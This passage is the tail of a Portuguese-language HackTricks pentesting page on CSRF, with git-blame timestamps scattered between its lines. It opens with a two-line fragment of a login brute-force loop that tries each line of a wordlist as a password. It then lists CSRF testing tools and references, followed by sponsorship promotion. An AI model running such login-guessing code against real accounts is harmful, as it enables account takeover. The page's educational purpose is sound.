for line in f:
login(USER, line.strip())
```
2023-06-06 18:56:34 +00:00
## Ferramentas <a href="#tools" id="tools"></a>
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
2022-09-26 09:52:47 +00:00
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
2023-06-06 18:56:34 +00:00
## Referências
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
[**Siga HackenProof**](https://bit.ly/3xrrDrL) **para aprender mais sobre bugs web3**
2022-10-27 23:22:18 +00:00
2023-06-06 18:56:34 +00:00
🐞 Leia tutoriais sobre bugs web3
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
🔔 Receba notificações sobre novas recompensas por bugs
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
💬 Participe de discussões na comunidade
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>